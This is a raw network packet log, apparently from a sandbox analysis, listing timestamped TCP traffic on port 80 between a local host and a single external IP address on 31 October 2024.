Oct 31, 2024 03:03:31.013006926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013096094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013108015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013119936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013147116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013149023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013160944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013185978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013300896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013314962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013328075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013339996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013345957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013359070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013377905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013392925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013453007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013490915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013504028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013535976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013546944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.013565063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.013575077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.025829077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.055500984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.055532932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.055543900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.057646990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081321955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081340075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081353903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081377029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081403017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081455946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081468105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081496954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081515074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081516981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081531048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081549883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081562996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081578970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081583977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081589937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081592083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081605911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081615925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081619024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081651926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081690073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081702948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081713915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081732988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081744909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081787109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081787109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081787109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081806898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081882954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081893921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081904888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.081928015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081954956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.081990004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.082022905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.082034111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.082077026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.125658989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.125785112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.125854015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.125865936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.125900030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131500006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131521940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131532907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131544113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131563902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131562948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131575108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131586075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131587029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131597996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131652117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131652117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131716967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131727934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131737947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131761074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131836891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131897926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131913900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131926060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131937981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.131973982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131973982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.131973982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132047892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132106066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132117987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132158041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132163048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132181883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132194996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132204056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132210970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132215977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132261992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132266045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132267952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132278919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132313967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132358074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132396936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132431030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132441998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132452965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132488012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.132505894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132570982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.132616997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.174350977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174366951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174420118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.174480915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174494982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174506903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174520016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.174527884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.174550056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200458050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200480938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200494051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200504065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200516939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200526953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200527906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200541019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200546980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200553894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200566053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200567007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200577974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200587988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200598955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200608969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200619936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200630903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200642109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200659037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200659037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200659037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200689077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200699091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200726986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200737000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200748920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200783014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200792074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200804949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200819016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200835943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200854063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.200862885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200874090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200885057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.200917006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.201031923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.201042891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.201076984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.213664055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.225384951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.244329929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.244348049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.244360924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.244373083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.244415045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.244415045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250492096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250504971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250518084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250530005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250541925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250555038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250555992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250566006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250571012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250580072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250586033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250593901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250602961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250607014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250631094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250650883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250691891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250798941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250848055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250859976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250889063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250900030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.250900984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.250932932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251018047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251029968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251040936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251071930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251081944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251132965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251144886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251154900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251164913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251174927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251179934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251203060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251223087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251234055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251266956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251288891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251306057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251308918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251343012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251354933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251365900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251380920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.251389980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.251406908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.291857004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.292649984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.292663097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.292742968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.293345928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.293359995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.293379068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.293389082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.293397903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.293401957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.293427944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319195032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319215059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319226980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319240093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319245100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319257021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319262981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319267988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319279909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319291115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319309950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319325924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319400072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319411039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319421053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319432020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319446087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319470882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319533110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319541931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319551945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319575071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319591045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319616079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319677114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319686890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319699049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319726944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319751978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319761992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319799900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319808960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319819927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319833040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319843054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319854021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319864988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.319864988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.319891930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.363257885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363296986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363311052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363311052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.363337040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363349915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363363028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.363367081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.363387108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369143963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369523048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369545937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369558096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369569063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369581938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369586945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369596958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369601011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369609118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369632006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369642019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369652987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369654894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369663954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369685888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369749069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369760990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369771004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369791985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369810104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369813919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369822025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369879007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.369961977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369972944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.369982004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370001078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370008945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370033026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370055914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370066881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370076895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370098114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370187998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370198965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370208979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370219946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370234966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370246887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370307922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370317936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370327950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370349884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370373011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.370387077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370398045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370407104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.370431900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.412136078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412178040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412189960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412199974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412210941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412221909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412311077 CET	49744	80	192.168.2.4	185.215.113.16
